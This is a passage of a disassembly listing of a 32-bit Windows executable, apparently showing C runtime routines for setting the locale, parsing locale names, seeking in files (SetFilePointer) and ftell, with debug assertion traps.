; ---------------------------------------------------------------------------


loc_428C4E:				; CODE XREF: .nsp0:00428C3Fj
		mov	dword ptr [ebp-0B0h], 0


loc_428C58:				; CODE XREF: .nsp0:00428C4Cj
		mov	edx, [ebp-0B0h]
		mov	[ebp-8], edx


loc_428C61:				; CODE XREF: .nsp0:00428B6Fj
					; .nsp0:00428B96j ...
		jmp	short loc_428C6B
; ---------------------------------------------------------------------------


loc_428C63:				; CODE XREF: .nsp0:00428943j
		call	sub_428E30
		mov	[ebp-8], eax


loc_428C6B:				; CODE XREF: .nsp0:0042892Cj
					; .nsp0:loc_428C61j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_428C88
		push	13h
		call	sub_41FBE0
		add	esp, 4
		mov	eax, dword_4EFD44
		sub	eax, 1
		mov	dword_4EFD44, eax


loc_428C88:				; CODE XREF: .nsp0:00428C6Fj
		mov	eax, [ebp-8]


loc_428C8B:				; CODE XREF: .nsp0:004288B7j
					; .nsp0:004289EEj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428C90	proc near		; CODE XREF: .nsp0:00428901p
					; .nsp0:00428AF5p ...

var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= byte ptr -9Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_A0]
		push	ecx
		lea	edx, [ebp+var_A8]
		push	edx
		lea	eax, [ebp+var_9C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_428F30
		add	esp, 14h
		test	eax, eax
		jnz	short loc_428CC9
		xor	eax, eax
		jmp	loc_428E1F
; ---------------------------------------------------------------------------


loc_428CC9:				; CODE XREF: sub_428C90+30j
		push	132h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		lea	edx, [ebp+var_9C]
		push	edx
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_428D00
		xor	eax, eax
		jmp	loc_428E1F
; ---------------------------------------------------------------------------


loc_428D00:				; CODE XREF: sub_428C90+67j
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, dword_451B84[eax]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, dword_4EF96C[edx*4]
		mov	[ebp+var_4], eax
		push	6
		mov	ecx, [ebp+arg_0]
		imul	ecx, 6
		add	ecx, offset dword_4EFBB0
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		mov	eax, dword_4EF984
		mov	[ebp+var_18], eax
		lea	ecx, [ebp+var_9C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41C300
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	dword_451B84[ecx], eax
		mov	edx, [ebp+var_A8]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	dword_4EF96C[eax*4], edx
		push	6
		lea	ecx, [ebp+var_A8]
		push	ecx
		mov	edx, [ebp+arg_0]
		imul	edx, 6
		add	edx, offset dword_4EFBB0
		push	edx
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		cmp	[ebp+arg_0], 2
		jnz	short loc_428DA3
		mov	eax, [ebp+var_A0]
		mov	dword_4EF984, eax


loc_428DA3:				; CODE XREF: sub_428C90+106j
		cmp	[ebp+arg_0], 1
		jnz	short loc_428DB5
		mov	ecx, [ebp+var_A0]
		mov	dword_4EF988, ecx


loc_428DB5:				; CODE XREF: sub_428C90+117j
		mov	edx, [ebp+arg_0]
		imul	edx, 0Ch
		call	off_451B88[edx]
		test	eax, eax
		jz	short loc_428DFC
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_C]
		mov	dword_451B84[eax], ecx
		push	2
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_419980
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_4EF96C[eax*4], ecx
		mov	edx, [ebp+var_18]
		mov	dword_4EF984, edx
		xor	eax, eax
		jmp	short loc_428E1F
; ---------------------------------------------------------------------------


loc_428DFC:				; CODE XREF: sub_428C90+133j
		cmp	[ebp+var_C], offset dword_451A74
		jz	short loc_428E13
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_419980
		add	esp, 8


loc_428E13:				; CODE XREF: sub_428C90+173j
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0Ch
		mov	eax, dword_451B84[ecx]


loc_428E1F:				; CODE XREF: sub_428C90+34j
					; sub_428C90+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_428C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428E30	proc near		; CODE XREF: .nsp0:00428B4Fp
					; .nsp0:00428C16p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 1
		cmp	dword_451B84, 0
		jnz	short loc_428E64
		push	167h
		push	offset aSetlocal_c ; "setlocal.c"
		push	2
		push	351h
		call	sub_418EF0
		add	esp, 10h
		mov	dword_451B84, eax


loc_428E64:				; CODE XREF: sub_428E30+14j
		mov	eax, dword_451B84
		mov	byte ptr [eax],	0
		mov	[ebp+var_4], 1
		jmp	short loc_428E7E
; ---------------------------------------------------------------------------


loc_428E75:				; CODE XREF: sub_428E30:loc_428F27j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_428E7E:				; CODE XREF: sub_428E30+43j
		mov	edx, [ebp+var_4]
		imul	edx, 0Ch
		mov	eax, dword_451B84[edx]
		push	eax
		push	offset asc_43829C ; "="
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, off_451B80[ecx]
		push	edx
		push	3
		mov	eax, dword_451B84
		push	eax
		call	sub_4290D0
		add	esp, 14h
		cmp	[ebp+var_4], 5
		jge	short loc_428EF9
		push	offset asc_438288 ; ";"
		mov	ecx, dword_451B84
		push	ecx
		call	sub_41C310
		add	esp, 8
		mov	edx, [ebp+var_4]
		add	edx, 1
		imul	edx, 0Ch
		mov	eax, dword_451B84[edx]
		push	eax
		mov	ecx, [ebp+var_4]
		imul	ecx, 0Ch
		mov	edx, dword_451B84[ecx]
		push	edx
		call	sub_41C4C0
		add	esp, 8
		test	eax, eax
		jz	short loc_428EF7
		mov	[ebp+var_8], 0


loc_428EF7:				; CODE XREF: sub_428E30+BEj
		jmp	short loc_428F27
; ---------------------------------------------------------------------------


loc_428EF9:				; CODE XREF: sub_428E30+81j
		cmp	[ebp+var_8], 0
		jnz	short loc_428F06
		mov	eax, dword_451B84
		jmp	short loc_428F2C
; ---------------------------------------------------------------------------


loc_428F06:				; CODE XREF: sub_428E30+CDj
		push	2
		mov	eax, dword_451B84
		push	eax
		call	sub_419980
		add	esp, 8
		mov	dword_451B84, 0
		mov	eax, off_451B9C
		jmp	short loc_428F2C
; ---------------------------------------------------------------------------


loc_428F27:				; CODE XREF: sub_428E30:loc_428EF7j
		jmp	loc_428E75
; ---------------------------------------------------------------------------


loc_428F2C:				; CODE XREF: sub_428E30+D4j
					; sub_428E30+F5j
		mov	esp, ebp
		pop	ebp
		retn
sub_428E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428F30	proc near		; CODE XREF: .nsp0:00428B87p
					; sub_428C90+26p

var_88		= byte ptr -88h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		cmp	[ebp+arg_0], 0
		jnz	short loc_428F46
		xor	eax, eax
		jmp	loc_4290B0
; ---------------------------------------------------------------------------


loc_428F46:				; CODE XREF: sub_428F30+Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 43h
		jnz	short loc_428FA0
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jnz	short loc_428FA0
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	43h
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+1], 0
		cmp	[ebp+arg_8], 0
		jz	short loc_428F89
		mov	eax, [ebp+arg_8]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_8]
		mov	word ptr [ecx+2], 0
		mov	edx, [ebp+arg_8]
		mov	word ptr [edx+4], 0


loc_428F89:				; CODE XREF: sub_428F30+3Dj
		cmp	[ebp+arg_C], 0
		jz	short loc_428F98
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_428F98:				; CODE XREF: sub_428F30+5Dj
		mov	eax, [ebp+arg_4]
		jmp	loc_4290B0
; ---------------------------------------------------------------------------


loc_428FA0:				; CODE XREF: sub_428F30+1Fj
					; sub_428F30+2Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset dword_451AFC
		call	sub_41C4C0
		add	esp, 8
		test	eax, eax
		jz	loc_429068
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_451A78
		call	sub_41C4C0
		add	esp, 8
		test	eax, eax
		jz	loc_429068
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_88]
		push	ecx
		call	sub_429120
		add	esp, 8
		test	eax, eax
		jz	short loc_428FF0
		xor	eax, eax
		jmp	loc_4290B0
; ---------------------------------------------------------------------------


loc_428FF0:				; CODE XREF: sub_428F30+B7j
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4EF98C
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_42FDA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_429016
		xor	eax, eax
		jmp	loc_4290B0
; ---------------------------------------------------------------------------


loc_429016:				; CODE XREF: sub_428F30+DDj
		xor	ecx, ecx
		mov	cx, word_4EF990
		mov	dword_4EF994, ecx
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_451AFC
		call	sub_429280
		add	esp, 8
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_429056
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_451A78
		call	sub_41C300
		add	esp, 8
		jmp	short loc_429068
; ---------------------------------------------------------------------------


loc_429056:				; CODE XREF: sub_428F30+111j
		push	offset dword_451AFC
		push	offset dword_451A78
		call	sub_41C300
		add	esp, 8


loc_429068:				; CODE XREF: sub_428F30+83j
					; sub_428F30+9Cj ...
		cmp	[ebp+arg_8], 0
		jz	short loc_429081
		push	6
		push	offset dword_4EF98C
		mov	eax, [ebp+arg_8]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch


loc_429081:				; CODE XREF: sub_428F30+13Cj
		cmp	[ebp+arg_C], 0
		jz	short loc_42909A
		push	4
		push	offset dword_4EF994
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	near ptr sub_41C8D0
		add	esp, 0Ch


loc_42909A:				; CODE XREF: sub_428F30+155j
		push	offset dword_451AFC
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_41C300
		add	esp, 8
		mov	eax, offset dword_451AFC


loc_4290B0:				; CODE XREF: sub_428F30+11j
					; sub_428F30+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_428F30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4290C0	proc near		; CODE XREF: sub_428C90+12Bp
					; DATA XREF: .nsp0:off_451B88o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_4290C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4290D0	proc near		; CODE XREF: sub_428E30+75p
					; sub_429280+30p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		jmp	short loc_4290EE
; ---------------------------------------------------------------------------


loc_4290E5:				; CODE XREF: sub_4290D0+42j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_4290EE:				; CODE XREF: sub_4290D0+13j
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_4]
		jge	short loc_429114
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx-4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41C310
		add	esp, 8
		jmp	short loc_4290E5
; ---------------------------------------------------------------------------


loc_429114:				; CODE XREF: sub_4290D0+24j
		mov	[ebp+var_4], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_4290D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429120	proc near		; CODE XREF: sub_428F30+ADp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	88h
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42914A
		xor	eax, eax
		jmp	loc_429279
; ---------------------------------------------------------------------------


loc_42914A:				; CODE XREF: sub_429120+21j
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_429180
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jz	short loc_429180
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_41C300
		add	esp, 8
		xor	eax, eax
		jmp	loc_429279
; ---------------------------------------------------------------------------


loc_429180:				; CODE XREF: sub_429120+33j
					; sub_429120+3Ej
		mov	[ebp+var_4], 0
		jmp	short loc_429192
; ---------------------------------------------------------------------------


loc_429189:				; CODE XREF: sub_429120+152j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_429192:				; CODE XREF: sub_429120+67j
		push	offset a___0	; "_.,"
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_42FD20
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4291B4
		or	eax, 0FFFFFFFFh
		jmp	loc_429279
; ---------------------------------------------------------------------------


loc_4291B4:				; CODE XREF: sub_429120+8Aj
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ebp+var_8], al
		cmp	[ebp+var_4], 0
		jnz	short loc_4291EA
		cmp	[ebp+var_C], 40h
		jge	short loc_4291EA
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Eh
		jz	short loc_4291EA
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B1F0
		add	esp, 0Ch
		jmp	short loc_429250
; ---------------------------------------------------------------------------


loc_4291EA:				; CODE XREF: sub_429120+A3j
					; sub_429120+A9j ...
		cmp	[ebp+var_4], 1
		jnz	short loc_429218
		cmp	[ebp+var_C], 40h
		jge	short loc_429218
		movsx	edx, [ebp+var_8]
		cmp	edx, 5Fh
		jz	short loc_429218
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		call	sub_41B1F0
		add	esp, 0Ch
		jmp	short loc_429250
; ---------------------------------------------------------------------------


loc_429218:				; CODE XREF: sub_429120+CEj
					; sub_429120+D4j ...
		cmp	[ebp+var_4], 2
		jnz	short loc_42924B
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_42922F
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Ch
		jnz	short loc_42924B


loc_42922F:				; CODE XREF: sub_429120+104j
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 80h
		push	ecx
		call	sub_41B1F0
		add	esp, 0Ch
		jmp	short loc_429250
; ---------------------------------------------------------------------------


loc_42924B:				; CODE XREF: sub_429120+FCj
					; sub_429120+10Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_429279
; ---------------------------------------------------------------------------


loc_429250:				; CODE XREF: sub_429120+C8j
					; sub_429120+F6j ...
		movsx	edx, [ebp+var_8]
		cmp	edx, 2Ch
		jnz	short loc_42925B
		jmp	short loc_429277
; ---------------------------------------------------------------------------


loc_42925B:				; CODE XREF: sub_429120+137j
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jnz	short loc_429265
		jmp	short loc_429277
; ---------------------------------------------------------------------------


loc_429265:				; CODE XREF: sub_429120+141j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		lea	eax, [edx+ecx+1]
		mov	[ebp+arg_4], eax
		jmp	loc_429189
; ---------------------------------------------------------------------------


loc_429277:				; CODE XREF: sub_429120+139j
					; sub_429120+143j
		xor	eax, eax


loc_429279:				; CODE XREF: sub_429120+25j
					; sub_429120+5Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429280	proc near		; CODE XREF: sub_428F30+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41C300
		add	esp, 8
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+40h]
		test	eax, eax
		jz	short loc_4292B8
		mov	ecx, [ebp+arg_4]
		add	ecx, 40h
		push	ecx
		push	offset a__4	; "_"
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4290D0
		add	esp, 10h


loc_4292B8:				; CODE XREF: sub_429280+1Cj
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+80h]
		test	ecx, ecx
		jz	short loc_4292E3
		mov	edx, [ebp+arg_4]
		add	edx, 80h
		push	edx
		push	offset a__3	; "."
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4290D0
		add	esp, 10h


loc_4292E3:				; CODE XREF: sub_429280+44j
		pop	ebp
		retn
sub_429280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4292F0	proc near		; CODE XREF: sub_41DD30+10Ep
					; sub_422AF0+216p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jnb	short loc_429321
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42933C


loc_429321:				; CODE XREF: sub_4292F0+Dj
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42936E
; ---------------------------------------------------------------------------


loc_42933C:				; CODE XREF: sub_4292F0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42BC50
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429380
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42936E:				; CODE XREF: sub_4292F0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4292F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429380	proc near		; CODE XREF: sub_422190+40Dp
					; sub_4292F0+64p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BAD0
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_4293AE
		call	sub_4248A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_42942E
; ---------------------------------------------------------------------------


loc_4293AE:				; CODE XREF: sub_429380+19j
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_4F13DC	; SetFilePointer
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_4293D6
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_4293DD
; ---------------------------------------------------------------------------


loc_4293D6:				; CODE XREF: sub_429380+49j
		mov	[ebp+var_4], 0


loc_4293DD:				; CODE XREF: sub_429380+54j
		cmp	[ebp+var_4], 0
		jz	short loc_4293F4
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_424800
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42942E
; ---------------------------------------------------------------------------


loc_4293F4:				; CODE XREF: sub_429380+61j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4EFC40[edx*4]
		mov	dl, [ecx+eax+4]
		and	dl, 0FDh
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4EFC40[eax*4]
		mov	[eax+ecx+4], dl
		mov	eax, [ebp+var_8]


loc_42942E:				; CODE XREF: sub_429380+29j
					; sub_429380+72j
		mov	esp, ebp
		pop	ebp
		retn
sub_429380	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_429447:				; CODE XREF: .nsp0:0042946Fj
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42946B
		push	offset dword_437504
		push	0
		push	32h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42946B
		int	3		; Trap to Debugger


loc_42946B:				; CODE XREF: .nsp0:0042944Bj
					; .nsp0:00429468j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_429447
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41ECE0
		add	esp, 4
		mov	edx, [ebp+8]
		push	edx
		call	sub_4294B0
		add	esp, 4
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_41ED50
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4294B0	proc near		; CODE XREF: sub_41DD30+87p
					; .nsp0:00429481p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi


loc_4294B9:				; CODE XREF: sub_4294B0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4294DD
		push	offset dword_437514
		push	0
		push	63h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4294DD
		int	3		; Trap to Debugger


loc_4294DD:				; CODE XREF: sub_4294B0+Dj
					; sub_4294B0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4294B9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+10h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_429505
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0


loc_429505:				; CODE XREF: sub_4294B0+49j
		push	1
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4292F0
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jge	short loc_429526
		or	eax, 0FFFFFFFFh
		jmp	loc_429743
; ---------------------------------------------------------------------------


loc_429526:				; CODE XREF: sub_4294B0+6Cj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jnz	short loc_429546
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, [eax+4]
		mov	eax, ecx
		jmp	loc_429743
; ---------------------------------------------------------------------------


loc_429546:				; CODE XREF: sub_4294B0+84j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 3
		test	eax, eax
		jz	short loc_4295BC
		mov	ecx, [ebp+var_8]
		sar	ecx, 5
		mov	edx, [ebp+var_8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_4295BA
		mov	edx, [ebp+var_C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		jmp	short loc_42959A
; ---------------------------------------------------------------------------


loc_429591:				; CODE XREF: sub_4294B0:loc_4295B8j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42959A:				; CODE XREF: sub_4294B0+DFj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx]
		jnb	short loc_4295BA
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_4295B8
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_4295B8:				; CODE XREF: sub_4294B0+FDj
		jmp	short loc_429591
; ---------------------------------------------------------------------------


loc_4295BA:				; CODE XREF: sub_4294B0+D4j
					; sub_4294B0+F2j
		jmp	short loc_4295DF
; ---------------------------------------------------------------------------


loc_4295BC:				; CODE XREF: sub_4294B0+AFj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jnz	short loc_4295DF
		call	sub_4248A0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_429743
; ---------------------------------------------------------------------------


loc_4295DF:				; CODE XREF: sub_4294B0:loc_4295BAj
					; sub_4294B0+11Aj
		cmp	[ebp+var_1C], 0
		jnz	short loc_4295ED
		mov	eax, [ebp+var_18]
		jmp	loc_429743
; ---------------------------------------------------------------------------


loc_4295ED:				; CODE XREF: sub_4294B0+133j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42973D
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_429613
		mov	[ebp+var_18], 0
		jmp	loc_42973D
; ---------------------------------------------------------------------------


loc_429613:				; CODE XREF: sub_4294B0+155j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		sar	edx, 5
		mov	eax, [ebp+var_8]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4EFC40[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 80h
		test	edx, edx
		jz	loc_429734
		push	2
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4292F0
		add	esp, 0Ch
